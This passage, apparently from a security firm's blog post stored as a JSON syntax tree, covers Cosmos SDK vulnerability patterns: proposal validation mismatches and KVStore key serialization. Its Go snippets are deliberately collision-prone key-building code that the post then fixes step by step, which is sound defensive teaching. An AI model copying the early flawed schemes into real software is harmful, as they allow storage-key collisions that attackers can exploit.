h",{"type":24,"tag":327,"props":91528,"children":91529},{"style":346},[91530],{"type":29,"value":66},{"type":24,"tag":327,"props":91532,"children":91533},{"style":356},[91534],{"type":29,"value":91278},{"type":24,"tag":327,"props":91536,"children":91537},{"style":346},[91538],{"type":29,"value":66},{"type":24,"tag":327,"props":91540,"children":91541},{"style":340},[91542],{"type":29,"value":6164},{"type":24,"tag":327,"props":91544,"children":91545},{"style":346},[91546],{"type":29,"value":349},{"type":24,"tag":327,"props":91548,"children":91549},{"style":844},[91550],{"type":29,"value":91551},"\"injected local last commit\"",{"type":24,"tag":327,"props":91553,"children":91554},{"style":346},[91555],{"type":29,"value":2744},{"type":24,"tag":327,"props":91557,"children":91558},{"style":844},[91559],{"type":29,"value":91560},"\"height\"",{"type":24,"tag":327,"props":91562,"children":91563},{"style":346},[91564],{"type":29,"value":2744},{"type":24,"tag":327,"props":91566,"children":91567},{"style":356},[91568],{"type":29,"value":90876},{"type":24,"tag":327,"props":91570,"children":91571},{"style":346},[91572],{"type":29,"value":66},{"type":24,"tag":327,"props":91574,"children":91575},{"style":356},[91576],{"type":29,"value":90206},{"type":24,"tag":327,"props":91578,"children":91579},{"style":346},[91580],{"type":29,"value":852},{"type":24,"tag":327,"props":91582,"children":91583},{"class":329,"line":1192},[91584],{"type":24,"tag":327,"props":91585,"children":91586},{"style":346},[91587],{"type":29,"value":8989},{"type":24,"tag":327,"props":91589,"children":91590},{"class":329,"line":1212},[91591,91595,91599,91603,91607,91611],{"type":24,"tag":327,"props":91592,"children":91593},{"style":425},[91594],{"type":29,"value":4944},{"type":24,"tag":327,"props":91596,"children":91597},{"style":381},[91598],{"type":29,"value":14704},{"type":24,"tag":327,"props":91600,"children":91601},{"style":1639},[91602],{"type":29,"value":90885},{"type":24,"tag":327,"props":91604,"children":91605},{"style":346},[91606],{"type":29,"value":66},{"type":24,"tag":327,"props":91608,"children":91609},{"style":1639},[91610],{"type":29,"value":90915},{"type":24,"tag":327,"props":91612,"children":91613},{"style":346},[91614],{"type":29,"value":18427},{"type":24,"tag":327,"props":91616,"children":91617},{"class":329,"line":4841},[91618,91623,91627,91631],{"type":24,"tag":327,"props":91619,"children":91620},{"style":356},[91621],{"type":29,"value":91622},"            Txs",{"type":24,"tag":327,"props":91624,"children":91625},{"style":346},[91626],{"type":29,"value":3459},{"type":24,"tag":327,"props":91628,"children":91629},{"style":356},[91630],{"type":29,"value":91510},{"type":24,"tag":327,"props":91632,"children":91633},{"style":346},[91634],{"type":29,"value":2231},{"type":24,"tag":327,"props":91636,"children":91637},{"class":329,"line":4862},[91638,91643],{"type":24,"tag":327,"props":91639,"children":91640},{"style":346},[91641],{"type":29,"value":91642},"        }, ",{"type":24,"tag":327,"props":91644,"children":91645},{"style":334},[91646],{"type":29,"value":83369},{"type":24,"tag":327,"props":91648,"children":91649},{"class":329,"line":4870},[91650],{"type":24,"tag":327,"props":91651,"children":91652},{"style":346},[91653],{"type":29,"value":535},{"type":24,"tag":327,"props":91655,"children":91656},{"class":329,"line":4879},[91657],{"type":24,"tag":327,"props":91658,"children":91659},{"style":346},[91660],{"type":29,"value":592},{"type":24,"tag":25,"props":91662,"children":91663},{},[91664,91666,91671,91672,91677,91679,91686],{"type":29,"value":91665},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":284,"props":91667,"children":91669},{"className":91668},[],[91670],{"type":29,"value":90035},{"type":29,"value":5894},{"type":24,"tag":284,"props":91673,"children":91675},{"className":91674},[],[91676],{"type":29,"value":90103},{"type":29,"value":91678},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":57,"props":91680,"children":91683},{"href":91681,"rel":91682},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[61],[91684],{"type":29,"value":91685},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":91687},", which will later get rejected by CometBTF.",{"type":24,"tag":228,"props":91689,"children":91691},{"id":91690},"the-keymaker",[91692],{"type":29,"value":91693},"The Keymaker",{"type":24,"tag":25,"props":91695,"children":91696},{},[91697,91699,91705,91707,91712],{"type":29,"value":91698},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":284,"props":91700,"children":91702},{"className":91701},[],[91703],{"type":29,"value":91704},"KVStore",{"type":29,"value":91706}," to handle states efficently. In ",{"type":24,"tag":284,"props":91708,"children":91710},{"className":91709},[],[91711],{"type":29,"value":91704},{"type":29,"value":91713},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":25,"props":91715,"children":91716},{},[91717],{"type":29,"value":91718},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":25,"props":91720,"children":91721},{},[91722,91724,91730],{"type":29,"value":91723},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":284,"props":91725,"children":91727},{"className":91726},[],[91728],{"type":29,"value":91729},"positionMap",{"type":29,"value":91731}," structure mentioned below into storage.",{"type":24,"tag":317,"props":91733,"children":91735},{"code":91734,"language":82891,"meta":7,"className":82892,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[91736],{"type":24,"tag":284,"props":91737,"children":91738},{"__ignoreMap":7},[91739,91755,91772,91788,91807,91822,91829,91846],{"type":24,"tag":327,"props":91740,"children":91741},{"class":329,"line":330},[91742,91746,91751],{"type":24,"tag":327,"props":91743,"children":91744},{"style":334},[91745],{"type":29,"value":39467},{"type":24,"tag":327,"props":91747,"children":91748},{"style":1639},[91749],{"type":29,"value":91750}," VaultId",{"type":24,"tag":327,"props":91752,"children":91753},{"style":1639},[91754],{"type":29,"value":82929},{"type":24,"tag":327,"props":91756,"children":91757},{"class":329,"line":367},[91758,91762,91767],{"type":24,"tag":327,"props":91759,"children":91760},{"style":334},[91761],{"type":29,"value":39467},{"type":24,"tag":327,"props":91763,"children":91764},{"style":1639},[91765],{"type":29,"value":91766}," Username",{"type":24,"tag":327,"props":91768,"children":91769},{"style":1639},[91770],{"type":29,"value":91771}," string\n",{"type":24,"tag":327,"props":91773,"children":91774},{"class":329,"line":408},[91775,91779,91784],{"type":24,"tag":327,"props":91776,"children":91777},{"style":334},[91778],{"type":29,"value":39467},{"type":24,"tag":327,"props":91780,"children":91781},{"style":1639},[91782],{"type":29,"value":91783}," PositionName",{"type":24,"tag":327,"props":91785,"children":91786},{"style":1639},[91787],{"type":29,"value":91771},{"type":24,"tag":327,"props":91789,"children":91790},{"class":329,"line":421},[91791,91795,91799,91803],{"type":24,"tag":327,"props":91792,"children":91793},{"style":334},[91794],{"type":29,"value":39467},{"type":24,"tag":327,"props":91796,"children":91797},{"style":1639},[91798],{"type":29,"value":14987},{"type":24,"tag":327,"props":91800,"children":91801},{"style":334},[91802],{"type":29,"value":2529},{"type":24,"tag":327,"props":91804,"children":91805},{"style":346},[91806],{"type":29,"value":497},{"type":24,"tag":327,"props":91808,"children":91809},{"class":329,"line":450},[91810,91814,91818],{"type":24,"tag":327,"props":91811,"children":91812},{"style":356},[91813],{"type":29,"value":49947},{"type":24,"tag":327,"props":91815,"children":91816},{"style":346},[91817],{"type":29,"value":82954},{"type":24,"tag":327,"props":91819,"children":91820},{"style":1639},[91821],{"type":29,"value":90955},{"type":24,"tag":327,"props":91823,"children":91824},{"class":329,"line":481},[91825],{"type":24,"tag":327,"props":91826,"children":91827},{"style":346},[91828],{"type":29,"value":592},{"type":24,"tag":327,"props":91830,"children":91831},{"class":329,"line":500},[91832,91836,91841],{"type":24,"tag":327,"props":91833,"children":91834},{"style":334},[91835],{"type":29,"value":39467},{"type":24,"tag":327,"props":91837,"children":91838},{"style":1639},[91839],{"type":29,"value":91840}," PositionMap",{"type":24,"tag":327,"props":91842,"children":91843},{"style":381},[91844],{"type":29,"value":91845}," :=\n",{"type":24,"tag":327,"props":91847,"children":91848},{"class":329,"line":529},[91849,91854,91858,91863,91867,91871,91875,91880,91884,91888,91892,91897,91901],{"type":24,"tag":327,"props":91850,"children":91851},{"style":334},[91852],{"type":29,"value":91853},"    map",{"type":24,"tag":327,"props":91855,"children":91856},{"style":346},[91857],{"type":29,"value":11329},{"type":24,"tag":327,"props":91859,"children":91860},{"style":1639},[91861],{"type":29,"value":91862},"VaultId",{"type":24,"tag":327,"props":91864,"children":91865},{"style":346},[91866],{"type":29,"value":22934},{"type":24,"tag":327,"props":91868,"children":91869},{"style":334},[91870],{"type":29,"value":73826},{"type":24,"tag":327,"props":91872,"children":91873},{"style":346},[91874],{"type":29,"value":11329},{"type":24,"tag":327,"props":91876,"children":91877},{"style":1639},[91878],{"type":29,"value":91879},"Username",{"type":24,"tag":327,"props":91881,"children":91882},{"style":346},[91883],{"type":29,"value":22934},{"type":24,"tag":327,"props":91885,"children":91886},{"style":334},[91887],{"type":29,"value":73826},{"type":24,"tag":327,"props":91889,"children":91890},{"style":346},[91891],{"type":29,"value":11329},{"type":24,"tag":327,"props":91893,"children":91894},{"style":1639},[91895],{"type":29,"value":91896},"PositionName",{"type":24,"tag":327,"props":91898,"children":91899},{"style":346},[91900],{"type":29,"value":22934},{"type":24,"tag":327,"props":91902,"children":91903},{"style":1639},[91904],{"type":29,"value":91905},"Position\n",{"type":24,"tag":25,"props":91907,"children":91908},{},[91909,91911,91917],{"type":29,"value":91910},"Given that there are two levels of keys in ",{"type":24,"tag":284,"props":91912,"children":91914},{"className":91913},[],[91915],{"type":29,"value":91916},"PositionMap",{"type":29,"value":91918},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":317,"props":91920,"children":91922},{"code":91921,"language":82891,"meta":7,"className":82892,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[91923],{"type":24,"tag":284,"props":91924,"children":91925},{"__ignoreMap":7},[91926,91955,91967,91979,91991,92003],{"type":24,"tag":327,"props":91927,"children":91928},{"class":329,"line":330},[91929,91934,91938,91942,91946,91951],{"type":24,"tag":327,"props":91930,"children":91931},{"style":356},[91932],{"type":29,"value":91933},"storageKey",{"type":24,"tag":327,"props":91935,"children":91936},{"style":381},[91937],{"type":29,"value":83143},{"type":24,"tag":327,"props":91939,"children":91940},{"style":356},[91941],{"type":29,"value":88961},{"type":24,"tag":327,"props":91943,"children":91944},{"style":346},[91945],{"type":29,"value":66},{"type":24,"tag":327,"props":91947,"children":91948},{"style":340},[91949],{"type":29,"value":91950},"Sprintf",{"type":24,"tag":327,"props":91952,"children":91953},{"style":346},[91954],{"type":29,"value":4663},{"type":24,"tag":327,"props":91956,"children":91957},{"class":329,"line":367},[91958,91963],{"type":24,"tag":327,"props":91959,"children":91960},{"style":844},[91961],{"type":29,"value":91962},"    \"%d%s%s\"",{"type":24,"tag":327,"props":91964,"children":91965},{"style":346},[91966],{"type":29,"value":2231},{"type":24,"tag":327,"props":91968,"children":91969},{"class":329,"line":408},[91970,91975],{"type":24,"tag":327,"props":91971,"children":91972},{"style":356},[91973],{"type":29,"value":91974},"    vaultId",{"type":24,"tag":327,"props":91976,"children":91977},{"style":346},[91978],{"type":29,"value":2231},{"type":24,"tag":327,"props":91980,"children":91981},{"class":329,"line":421},[91982,91987],{"type":24,"tag":327,"props":91983,"children":91984},{"style":356},[91985],{"type":29,"value":91986},"    username",{"type":24,"tag":327,"props":91988,"children":91989},{"style":346},[91990],{"type":29,"value":2231},{"type":24,"tag":327,"props":91992,"children":91993},{"class":329,"line":450},[91994,91999],{"type":24,"tag":327,"props":91995,"children":91996},{"style":356},[91997],{"type":29,"value":91998},"    positionName",{"type":24,"tag":327,"props":92000,"children":92001},{"style":346},[92002],{"type":29,"value":2231},{"type":24,"tag":327,"props":92004,"children":92005},{"class":329,"line":481},[92006],{"type":24,"tag":327,"props":92007,"children":92008},{"style":346},[92009],{"type":29,"value":852},{"type":24,"tag":25,"props":92011,"children":92012},{},[92013],{"type":29,"value":92014},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":317,"props":92016,"children":92018},{"code":92017},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[92019],{"type":24,"tag":284,"props":92020,"children":92021},{"__ignoreMap":7},[92022],{"type":29,"value":92017},{"type":24,"tag":25,"props":92024,"children":92025},{},[92026,92031],{"type":24,"tag":42,"props":92027,"children":92028},{},[92029],{"type":29,"value":92030},"So, how can we mitigate this issue?",{"type":29,"value":92032},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":317,"props":92034,"children":92036},{"code":92035,"language":82891,"meta":7,"className":82892,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[92037],{"type":24,"tag":284,"props":92038,"children":92039},{"__ignoreMap":7},[92040,92051,92068,92075,92082,92109,92121,92132,92143,92154,92165,92176],{"type":24,"tag":327,"props":92041,"children":92042},{"class":329,"line":330},[92043,92047],{"type":24,"tag":327,"props":92044,"children":92045},{"style":334},[92046],{"type":29,"value":17202},{"type":24,"tag":327,"props":92048,"children":92049},{"style":346},[92050],{"type":29,"value":85293},{"type":24,"tag":327,"props":92052,"children":92053},{"class":329,"line":367},[92054,92059,92063],{"type":24,"tag":327,"props":92055,"children":92056},{"style":356},[92057],{"type":29,"value":92058},"    Seperator",{"type":24,"tag":327,"props":92060,"children":92061},{"style":381},[92062],{"type":29,"value":4809},{"type":24,"tag":327,"props":92064,"children":92065},{"style":844},[92066],{"type":29,"value":92067}," \"|\"\n",{"type":24,"tag":327,"props":92069,"children":92070},{"class":329,"line":408},[92071],{"type":24,"tag":327,"props":92072,"children":92073},{"style":346},[92074],{"type":29,"value":852},{"type":24,"tag":327,"props":92076,"children":92077},{"class":329,"line":421},[92078],{"type":24,"tag":327,"props":92079,"children":92080},{"emptyLinePlaceholder":16},[92081],{"type":29,"value":544},{"type":24,"tag":327,"props":92083,"children":92084},{"class":329,"line":450},[92085,92089,92093,92097,92101,92105],{"type":24,"tag":327,"props":92086,"children":92087},{"style":356},[92088],{"type":29,"value":91933},{"type":24,"tag":327,"props":92090,"children":92091},{"style":381},[92092],{"type":29,"value":83143},{"type":24,"tag":327,"props":92094,"children":92095},{"style":356},[92096],{"type":29,"value":88961},{"type":24,"tag":327,"props":92098,"children":92099},{"style":346},[92100],{"type":29,"value":66},{"type":24,"tag":327,"props":92102,"children":92103},{"style":340},[92104],{"type":29,"value":91950},{"type":24,"tag":327,"props":92106,"children":92107},{"style":346},[92108],{"type":29,"value":4663},{"type":24,"tag":327,"props":92110,"children":92111},{"class":329,"line":481},[92112,92117],{"type":24,"tag":327,"props":92113,"children":92114},{"style":844},[92115],{"type":29,"value":92116},"    \"%d%s%s%s%s\"",{"type":24,"tag":327,"props":92118,"children":92119},{"style":346},[92120],{"type":29,"value":2231},{"type":24,"tag":327,"props":92122,"children":92123},{"class":329,"line":500},[92124,92128],{"type":24,"tag":327,"props":92125,"children":92126},{"style":356},[92127],{"type":29,"value":91974},{"type":24,"tag":327,"props":92129,"children":92130},{"style":346},[92131],{"type":29,"value":2231},{"type":24,"tag":327,"props":92133,"children":92134},{"class":329,"line":529},[92135,92139],{"type":24,"tag":327,"props":92136,"children":92137},{"style":356},[92138],{"type":29,"value":92058},{"type":24,"tag":327,"props":92140,"children":92141},{"style":346},[92142],{"type":29,"value":2231},{"type":24,"tag":327,"props":92144,"children":92145},{"class":329,"line":538},[92146,92150],{"type":24,"tag":327,"props":92147,"children":92148},{"style":356},[92149],{"type":29,"value":91986},{"type":24,"tag":327,"props":92151,"children":92152},{"style":346},[92153],{"type":29,"value":2231},{"type":24,"tag":327,"props":92155,"children":92156},{"class":329,"line":547},[92157,92161],{"type":24,"tag":327,"props":92158,"children":92159},{"style":356},[92160],{"type":29,"value":92058},{"type":24,"tag":327,"props":92162,"children":92163},{"style":346},[92164],{"type":29,"value":2231},{"type":24,"tag":327,"props":92166,"children":92167},{"class":329,"line":557},[92168,92172],{"type":24,"tag":327,"props":92169,"children":92170},{"style":356},[92171],{"type":29,"value":91998},{"type":24,"tag":327,"props":92173,"children":92174},{"style":346},[92175],{"type":29,"value":2231},{"type":24,"tag":327,"props":92177,"children":92178},{"class":329,"line":586},[92179],{"type":24,"tag":327,"props":92180,"children":92181},{"style":346},[92182],{"type":29,"value":852},{"type":24,"tag":25,"props":92184,"children":92185},{},[92186],{"type":29,"value":92187},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":25,"props":92189,"children":92190},{},[92191,92193,92199,92200,92206],{"type":29,"value":92192},"Sadly, it doesn't. Since the ",{"type":24,"tag":284,"props":92194,"children":92196},{"className":92195},[],[92197],{"type":29,"value":92198},"username",{"type":29,"value":1323},{"type":24,"tag":284,"props":92201,"children":92203},{"className":92202},[],[92204],{"type":29,"value":92205},"vaultName",{"type":29,"value":92207}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":317,"props":92209,"children":92211},{"code":92210},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[92212],{"type":24,"tag":284,"props":92213,"children":92214},{"__ignoreMap":7},[92215],{"type":29,"value":92210},{"type":24,"tag":25,"props":92217,"children":92218},{},[92219],{"type":29,"value":92220},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":317,"props":92222,"children":92224},{"code":92223,"language":82891,"meta":7,"className":82892,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[92225],{"type":24,"tag":284,"props":92226,"children":92227},{"__ignoreMap":7},[92228,92239,92254,92261,92268,92275,92296,92312,92350,92357,92394,92401,92421,92436,92472,92479,92514,92521,92548,92559,92570,92581,92593,92604,92612],{"type":24,"tag":327,"props":92229,"children":92230},{"class":329,"line":330},[92231,92235],{"type":24,"tag":327,"props":92232,"children":92233},{"style":334},[92234],{"type":29,"value":17202},{"type":24,"tag":327,"props":92236,"children":92237},{"style":346},[92238],{"type":29,"value":85293},{"type":24,"tag":327,"props":92240,"children":92241},{"class":329,"line":367},[92242,92246,92250],{"type":24,"tag":327,"props":92243,"children":92244},{"style":356},[92245],{"type":29,"value":92058},{"type":24,"tag":327,"props":92247,"children":92248},{"style":381},[92249],{"type":29,"value":4809},{"type":24,"tag":327,"props":92251,"children":92252},{"style":844},[92253],{"type":29,"value":92067},{"type":24,"tag":327,"props":92255,"children":92256},{"class":329,"line":408},[92257],{"type":24,"tag":327,"props":92258,"children":92259},{"style":346},[92260],{"type":29,"value":852},{"type":24,"tag":327,"props":92262,"children":92263},{"class":329,"line":421},[92264],{"type":24,"tag":327,"props":92265,"children":92266},{"emptyLinePlaceholder":16},[92267],{"type":29,"value":544},{"type":24,"tag":327,"props":92269,"children":92270},{"class":329,"line":450},[92271],{"type":24,"tag":327,"props":92272,"children":92273},{"emptyLinePlaceholder":16},[92274],{"type":29,"value":544},{"type":24,"tag":327,"props":92276,"children":92277},{"class":329,"line":481},[92278,92283,92287,92292],{"type":24,"tag":327,"props":92279,"children":92280},{"style":356},[92281],{"type":29,"value":92282},"usernameEncoded",{"type":24,"tag":327,"props":92284,"children":92285},{"style":381},[92286],{"type":29,"value":83143},{"type":24,"tag":327,"props":92288,"children":92289},{"style":340},[92290],{"type":29,"value":92291}," make",{"type":24,"tag":327,"props":92293,"children":92294},{"style":346},[92295],{"type":29,"value":4663},{"type":24,"tag":327,"props":92297,"children":92298},{"class":329,"line":500},[92299,92304,92308],{"type":24,"tag":327,"props":92300,"children":92301},{"style":346},[92302],{"type":29,"value":92303},"    []",{"type":24,"tag":327,"props":92305,"children":92306},{"style":1639},[92307],{"type":29,"value":91492},{"type":24,"tag":327,"props":92309,"children":92310},{"style":346},[92311],{"type":29,"value":2231},{"type":24,"tag":327,"props":92313,"children":92314},{"class":329,"line":529},[92315,92320,92324,92329,92333,92337,92341,92345],{"type":24,"tag":327,"props":92316,"children":92317},{"style":356},[92318],{"type":29,"value":92319},"    hex",{"type":24,"tag":327,"props":92321,"children":92322},{"style":346},[92323],{"type":29,"value":66},{"type":24,"tag":327,"props":92325,"children":92326},{"style":340},[92327],{"type":29,"value":92328},"EncodedLen",{"type":24,"tag":327,"props":92330,"children":92331},{"style":346},[92332],{"type":29,"value":349},{"type":24,"tag":327,"props":92334,"children":92335},{"style":340},[92336],{"type":29,"value":4906},{"type":24,"tag":327,"props":92338,"children":92339},{"style":346},[92340],{"type":29,"value":349},{"type":24,"tag":327,"props":92342,"children":92343},{"style":356},[92344],{"type":29,"value":92198},{"type":24,"tag":327,"props":92346,"children":92347},{"style":346},[92348],{"type":29,"value":92349},")),\n",{"type":24,"tag":327,"props":92351,"children":92352},{"class":329,"line":538},[92353],{"type":24,"tag":327,"props":92354,"children":92355},{"style":346},[92356],{"type":29,"value":852},{"type":24,"tag":327,"props":92358,"children":92359},{"class":329,"line":547},[92360,92365,92369,92374,92378,92382,92386,92390],{"type":24,"tag":327,"props":92361,"children":92362},{"style":356},[92363],{"type":29,"value":92364},"hex",{"type":24,"tag":327,"props":92366,"children":92367},{"style":346},[92368],{"type":29,"value":66},{"type":24,"tag":327,"props":92370,"children":92371},{"style":340},[92372],{"type":29,"value":92373},"Encode",{"type":24,"tag":327,"props":92375,"children":92376},{"style":346},[92377],{"type":29,"value":349},{"type":24,"tag":327,"props":92379,"children":92380},{"style":356},[92381],{"type":29,"value":92282},{"type":24,"tag":327,"props":92383,"children":92384},{"style":346},[92385],{"type":29,"value":2744},{"type":24,"tag":327,"props":92387,"children":92388},{"style":356},[92389],{"type":29,"value":92198},{"type":24,"tag":327,"props":92391,"children":92392},{"style":346},[92393],{"type":29,"value":852},{"type":24,"tag":327,"props":92395,"children":92396},{"class":329,"line":557},[92397],{"type":24,"tag":327,"props":92398,"children":92399},{"emptyLinePlaceholder":16},[92400],{"type":29,"value":544},{"type":24,"tag":327,"props":92402,"children":92403},{"class":329,"line":586},[92404,92409,92413,92417],{"type":24,"tag":327,"props":92405,"children":92406},{"style":356},[92407],{"type":29,"value":92408},"positionNameEncoded",{"type":24,"tag":327,"props":92410,"children":92411},{"style":381},[92412],{"type":29,"value":83143},{"type":24,"tag":327,"props":92414,"children":92415},{"style":340},[92416],{"type":29,"value":92291},{"type":24,"tag":327,"props":92418,"children":92419},{"style":346},[92420],{"type":29,"value":4663},{"type":24,"tag":327,"props":92422,"children":92423},{"class":329,"line":1017},[92424,92428,92432],{"type":24,"tag":327,"props":92425,"children":92426},{"style":346},[92427],{"type":29,"value":92303},{"type":24,"tag":327,"props":92429,"children":92430},{"style":1639},[92431],{"type":29,"value":91492},{"type":24,"tag":327,"props":92433,"children":92434},{"style":346},[92435],{"type":29,"value":2231},{"type":24,"tag":327,"props":92437,"children":92438},{"class":329,"line":1026},[92439,92443,92447,92451,92455,92459,92463,92468],{"type":24,"tag":327,"props":92440,"children":92441},{"style":356},[92442],{"type":29,"value":92319},{"type":24,"tag":327,"props":92444,"children":92445},{"style":346},[92446],{"type":29,"value":66},{"type":24,"tag":327,"props":92448,"children":92449},{"style":340},[92450],{"type":29,"value":92328},{"type":24,"tag":327,"props":92452,"children":92453},{"style":346},[92454],{"type":29,"value":349},{"type":24,"tag":327,"props":92456,"children":92457},{"style":340},[92458],{"type":29,"value":4906},{"type":24,"tag":327,"props":92460,"children":92461},{"style":346},[92462],{"type":29,"value":349},{"type":24,"tag":327,"props":92464,"children":92465},{"style":356},[92466],{"type":29,"value":92467},"positionName",{"type":24,"tag":327,"props":92469,"children":92470},{"style":346},[92471],{"type":29,"value":92349},{"type":24,"tag":327,"props":92473,"children":92474},{"class":329,"line":1048},[92475],{"type":24,"tag":327,"props":92476,"children":92477},{"style":346},[92478],{"type":29,"value":852},{"type":24,"tag":327,"props":92480,"children":92481},{"class":329,"line":1067},[92482,92486,92490,92494,92498,92502,92506,92510],{"type":24,"tag":327,"props":92483,"children":92484},{"style":356},[92485],{"type":29,"value":92364},{"type":24,"tag":327,"props":92487,"children":92488},{"style":346},[92489],{"type":29,"value":66},{"type":24,"tag":327,"props":92491,"children":92492},{"style":340},[92493],{"type":29,"value":92373},{"type":24,"tag":327,"props":92495,"children":92496},{"style":346},[92497],{"type":29,"value":349},{"type":24,"tag":327,"props":92499,"children":92500},{"style":356},[92501],{"type":29,"value":92408},{"type":24,"tag":327,"props":92503,"children":92504},{"style":346},[92505],{"type":29,"value":2744},{"type":24,"tag":327,"props":92507,"children":92508},{"style":356},[92509],{"type":29,"value":92467},{"type":24,"tag":327,"props":92511,"children":92512},{"style":346},[92513],{"type":29,"value":852},{"type":24,"tag":327,"props":92515,"children":92516},{"class":329,"line":1075},[92517],{"type":24,"tag":327,"props":92518,"children":92519},{"emptyLinePlaceholder":16},[92520],{"type":29,"value":544},{"type":24,"tag":327,"props":92522,"children":92523},{"class":329,"line":1084},[92524,92528,92532,92536,92540,92544],{"type":24,"tag":327,"props":92525,"children":92526},{"style":356},[92527],{"type":29,"value":91933},{"type":24,"tag":327,"props":92529,"children":92530},{"style":381},[92531],{"type":29,"value":83143},{"type":24,"tag":327,"props":92533,"children":92534},{"style":356},[92535],{"type":29,"value":88961},{"type":24,"tag":327,"props":92537,"children":92538},{"style":346},[92539],{"type":29,"value":66},{"type":24,"tag":327,"props":92541,"children":92542},{"style":340},[92543],{"type":29,"value":91950},{"type":24,"tag":327,"props":92545,"children":92546},{"style":346},[92547],{"type":29,"value":4663},{"type":24,"tag":327,"props":92549,"children":92550},{"class":329,"line":1100},[92551,92555],{"type":24,"tag":327,"props":92552,"children":92553},{"style":844},[92554],{"type":29,"value":92116},{"type":24,"tag":327,"props":92556,"children":92557},{"style":346},[92558],{"type":29,"value":2231},{"type":24,"tag":327,"props":92560,"children":92561},{"class":329,"line":1128},[92562,92566],{"type":24,"tag":327,"props":92563,"children":92564},{"style":356},[92565],{"type":29,"value":91974},{"type":24,"tag":327,"props":92567,"children":92568},{"style":346},[92569],{"type":29,"value":2231},{"type":24,"tag":327,"props":92571,"children":92572},{"class":329,"line":1148},[92573,92577],{"type":24,"tag":327,"props":92574,"children":92575},{"style":356},[92576],{"type":29,"value":92058},{"type":24,"tag":327,"props":92578,"children":92579},{"style":346},[92580],{"type":29,"value":2231},{"type":24,"tag":327,"props":92582,"children":92583},{"class":329,"line":1176},[92584,92589],{"type":24,"tag":327,"props":92585,"children":92586},{"style":356},[92587],{"type":29,"value":92588},"    usernameEncoded",{"type":24,"tag":327,"props":92590,"children":92591},{"style":346},[92592],{"type":29,"value":2231},{"type":24,"tag":327,"props":92594,"children":92595},{"class":329,"line":1184},[92596,92600],{"type":24,"tag":327,"props":92597,"children":92598},{"style":356},[92599],{"type":29,"value":92058},{"type":24,"tag":327,"props":92601,"children":92602},{"style":346},[92603],{"type":29,"value":2231},{"type":24,"tag":327,"props":92605,"children":92606},{"class":329,"line":1192},[92607],{"type":24,"tag":327,"props":92608,"children":92609},{"style":356},[92610],{"type":29,"value":92611},"    positionNameEncoded\n",{"type":24,"tag":327,"props":92613,"children":92614},{"class":329,"line":1212},[92615],{"type":24,"tag":327,"props":92616,"children":92617},{"style":346},[92618],{"type":29,"value":852},{"type":24,"tag":25,"props":92620,"children":92621},{},[92622,92624,92629],{"type":29,"value":92623},"We did it. We finally eliminated all potential ",{"type":24,"tag":284,"props":92625,"children":92627},{"className":92626},[],[92628],{"type":29,"value":91933},{"type":29,"value":92630}," collisions.",{"type":24,"tag":25,"props":92632,"children":92633},{},[92634],{"type":29,"value":92635},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":25,"props":92637,"children":92638},{},[92639,92641,92647,92649,92654,92656,92661,92663,92668,92670,92676],{"type":29,"value":92640},"In the Cosmos framework, it is common for each ",{"type":24,"tag":284,"props":92642,"children":92644},{"className":92643},[],[92645],{"type":29,"value":92646},"Module",{"type":29,"value":92648}," to own a few ",{"type":24,"tag":284,"props":92650,"children":92652},{"className":92651},[],[92653],{"type":29,"value":91704},{"type":29,"value":92655}," and have individual ",{"type":24,"tag":284,"props":92657,"children":92659},{"className":92658},[],[92660],{"type":29,"value":86672},{"type":29,"value":92662},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":284,"props":92664,"children":92666},{"className":92665},[],[92667],{"type":29,"value":91704},{"type":29,"value":92669}," should be independent from one another, alleviating developers from having to worry about key collisions between different 